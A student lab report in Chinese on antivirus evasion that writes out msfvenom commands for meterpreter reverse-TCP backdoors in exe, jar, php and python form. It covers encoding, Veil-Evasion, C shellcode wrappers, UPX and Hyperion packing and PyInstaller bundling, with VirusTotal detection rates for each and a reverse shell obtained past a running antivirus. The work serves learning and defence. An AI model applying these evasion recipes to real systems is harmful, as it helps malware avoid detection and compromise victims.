当前位置: 首页 > news >正文

20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

  • 学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。

  • 尝试实现恶意代码免杀。

  • 理解免杀机制和原理,认识到杀软局限性。

2.实验过程

2.1 免杀效果参考基准

2.1.1 免杀效果的评价

用VirusTotal评价免杀效果。

2.1.2 参考基准

  • kali虚拟机上,msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe
    屏幕截图 2025-10-27 084417

  • 对该文件用VirusTotal检出率为47/70,即用70不同的反病毒引擎对文件进行扫描,其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。
    屏幕截图 2025-10-27 092559

2.2 不同格式文件及Msfvenom使用编码器

2.2.1 exe文件和编码的exe文件

  • 使用msfvenom自带的编码器对后门文件进行编码,这里采用编码格式x86/shikata_ga_nai,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71,没什么效果。
    屏幕截图 2025-10-27 090515
    屏幕截图 2025-10-27 092720

  • 用参数-i设置编码次数为10次,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71,可见这种免杀方式效果不明显。
    屏幕截图 2025-10-27 092301
    屏幕截图 2025-10-27 092956

2.2.2 jar文件和编码的jar文件

  • 使用msfvenom改为生成jar文件,指令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64,有明显提升。
    屏幕截图 2025-10-27 093410
    屏幕截图 2025-10-27 094056

  • 对jar文件进行10次编码msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64,可见改为jar文件能使后门文件更不容易被检测出来,而编码依旧没用。
    屏幕截图 2025-10-27 093713
    屏幕截图 2025-10-27 094953

2.2.3 php文件和编码的php文件

  • 改为生成php文件,指令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62,有明显免杀作用。
    屏幕截图 2025-10-27 100059
    屏幕截图 2025-10-27 100259

  • 将php文件编码10次,指令为msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php,检出率为9/62,这一次编码后免杀效果明显,这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配,而多次编码后,静态特征被加密和混淆,引擎难以直接识别。
    屏幕截图 2025-10-27 100105
    屏幕截图 2025-10-27 100432

2.3 使用免杀平台Veil-Evasion

  • 安装好veil,进入操作界面,可以看到两个选项Evasion和Ordnance,Evasion用于生成免杀恶意payload,Ordnance用于生成辅助攻击工具或组件,这里use 1
    屏幕截图 2025-10-27 140123
    屏幕截图 2025-10-27 140215

  • 输入list,查看可以使用的Payloads。
    屏幕截图 2025-10-27 140250

  • 这里use 7,即使用c语言的c/meterpreter/rev_tcp,配置好信息,生成可执行文件。
    屏幕截图 2025-10-27 140410

set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

屏幕截图 2025-10-27 140603

  • 在指定路径/var/lib/veil/output/compiled/找到生成的可执行文件。
    屏幕截图 2025-10-27 140749

  • 测试生成的可执行文件,检出率为36/71,说明veil有一定的免杀能力。
    图片

2.4 C语言调用Shellcode

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c,得到C语言格式下的一个shellcode。
    屏幕截图 2025-10-27 142833

  • 将这段shellcode写入一个C语言程序当中,内容如下:
    屏幕截图 2025-10-27 143410
    屏幕截图 2025-10-27 143143

  • 通过命令i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
    屏幕截图 2025-10-27 143417

  • 测试生成的可执行文件,检出率为39/72,说明C语言调用Shellcode有一定的免杀能力。
    屏幕截图 2025-10-27 143508

2.5 加壳

2.5.1 压缩壳UPX

  • 通过命令upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe,给刚才的shellcode加一个UPX压缩壳。
    屏幕截图 2025-10-27 144224

  • 测试生成的可执行文件,检出率为42/71,加了壳,免杀效果反而变差了。
    屏幕截图 2025-10-27 144937

2.5.2 加密壳Hyperion

  • 输入命令cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/,将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
    输入命令cd /usr/share/windows-resources/hyperion/,将工作目录切换为Hyperion所在的目录。
    输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe,生成新的可执行文件20232420_c_shellcode_hyp.exe。
    屏幕截图 2025-10-27 145928
    屏幕截图 2025-10-27 150536
    屏幕截图 2025-10-27 150552

  • 测试生成的可执行文件,检出率为51/71,免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕,加壳文件会直接被视为高风险文件。
    屏幕截图 2025-10-27 150916

2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀

  • 输入指令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
    屏幕截图 2025-10-27 171553

  • 将其复制到windows主机,在终端中输入指令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py,将包含shellcode的python脚本打包为单文件.exe,运行时不显示控制台窗口,指定getpass、code、platform、shlex四个python标准库模块,利用打包工具的封装性隐藏原始代码的静态特征。
    屏幕截图 2025-10-27 165809
    屏幕截图 2025-10-27 165833

  • 用火绒查杀,没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”,火绒可能对其执行的代码采取更宽松的检测策略。
    屏幕截图 2025-10-27 183749

  • 测试生成的可执行文件,检出率为17/72,免杀效果还是比较理想的。
    屏幕截图 2025-10-27 173039

  • 在火绒打开的情况下,尝试回连获取shell,成功。(注意参数是set payload python/meterpreter/reverse_tcp
    屏幕截图 2025-10-27 170135
    屏幕截图 2025-10-27 174945

3.问题及解决方案

  • 问题1:使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。

  • 问题1解决方案:原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”,这些加壳工具本身已被反病毒引擎深度标记,只要检测到,默认标记为高风险。

  • 问题2:能执行.exe,却无法建立meterpreter会话。

  • 问题2解决方案: 参数一开始用的是set payload windows/meterpreter/reverse_tcp,应该改为set payload python/meterpreter/reverse_tcp。

4.问题回答

(1)杀软是如何检测出恶意代码的?

  • 主要是通过两个方面来检查,一是静态特征匹配,看是否具有已知恶意代码的特征;二是动态行为分析,检测软件是否作出任何可疑行为,如建立不正常的连接、修改系统配置等。

(2)免杀是做什么?

  • 免杀是指通过技术手段修改或隐藏恶意代码的特征与行为,使其看起来像正常程序,能够绕过杀软的检测与拦截,在目标系统中正常执行恶意功能。

(3)免杀的基本方法有哪些?

  • 目前看到的免杀方法基本都是对抗静态特征匹配,利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征,从而避免被杀软检测出来;还可以行为模拟正常程序,将恶意操作伪装成合法行为,如将建立不正常的连接模拟成浏览器访问。

5.学习感悟

本次实验中尝试了msfvenom编码器通过编码破坏静态特征,使用Veil-Evasion通过模板生成免杀payload,C语言调用Shellcode以及加壳,理解了静态免杀的核心是破坏杀软的特征码匹配,而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象,这说明了免杀最重要的是隐蔽和伪装,用的手段越多,反而可能让恶意软件更显眼,效果反而更差。了解了免杀的工具和技术,也就能学会如何反制,然而对恶意软件的检测往往有滞后性,要认识到杀软的局限性,在生活中更要在社会工程学方面提高对于恶意软件防范能力。

参考资料

《0x23_MAL_免杀原理与实践.md》

http://www.hn-smt.com/news/352/

相关文章:

  • Tuack 生成 OI 比赛题目 PDF 笔记
  • 数据库三大范式、Union和Union all的区别
  • CSP-S2025 游记
  • 「LG3600-随机数生成器」题解
  • MathType7下载包安装教程2025最新下载+安装+汉化激活(附安装包,超详细)
  • 2025强网杯ezphp复现
  • 漏洞报告被拒绝的常见原因及避免方法
  • 【IEEE出版 | 重庆邮电大学主办 | 多届次、高层次】第六届人工智能与计算机工程国际学术会议(ICAICE 2025)
  • Docker容器里面部署的Jenkins的Java17升级到21版本(无需删除之前容器,内部在线升级) - 攻城狮
  • 报表知识
  • 渐进过程中大O与小o混用
  • 消息队列的有序性
  • 【LTDC】DMA2D —— 嵌入式系统的 GPU
  • unity管理器设计:Manager of Managers
  • iview table 排序 columns 里面写 sortable: custom 不要写 sortable: true 不然会进行二次内部排序序号等 字段。
  • 本地运行nginx服务,模拟线上环境访问项目
  • git提交远程项目步骤
  • 2025 年搅拌器搅拌设备,侧入式搅拌设备,斜插式揽拌设备,卧式搅拌设备厂家最新推荐,聚焦资质、案例、售后的五家企业深度解读
  • 2025 年环保搅拌设备,搅拌装置设备,框式搅拌设备厂家最新推荐,实力品牌深度解析采购无忧之选!
  • CorelDRAW的shell扩展ShellXP.dll导致资源管理器explorer.exe卡死/冻结/无响应/挂起
  • 2025 年定制矿车,大型矿车,固定式矿车厂家最新推荐,产能、专利、环保三维数据透视
  • 醒图电脑版下载与安装教程(2025最新版)
  • 2025 年江苏电缆附件,热缩电缆附件,冷缩电缆附件,预制电缆附件厂家最新推荐,产能、专利、环保三维数据透视
  • Android Studio 使用glibc2.28的版本
  • 2025年10月兰花油品牌推荐榜:五款精华油深度对比与选购指南
  • 2025年浅拾兰花双萃致臻精华油:从成分与技术维度解析其护肤功效
  • 2025 年进口螺杆泵,萨伯特螺杆泵,污泥螺杆泵厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 为什么 AI 模型的最小理解单位是「特征」?
  • 2025年移动车载变电站厂家最新推荐榜:陕西四方华能凭硬实力成优选
  • XiaoQuQu 的 2025 CSP-S 第二轮模拟 ROUND2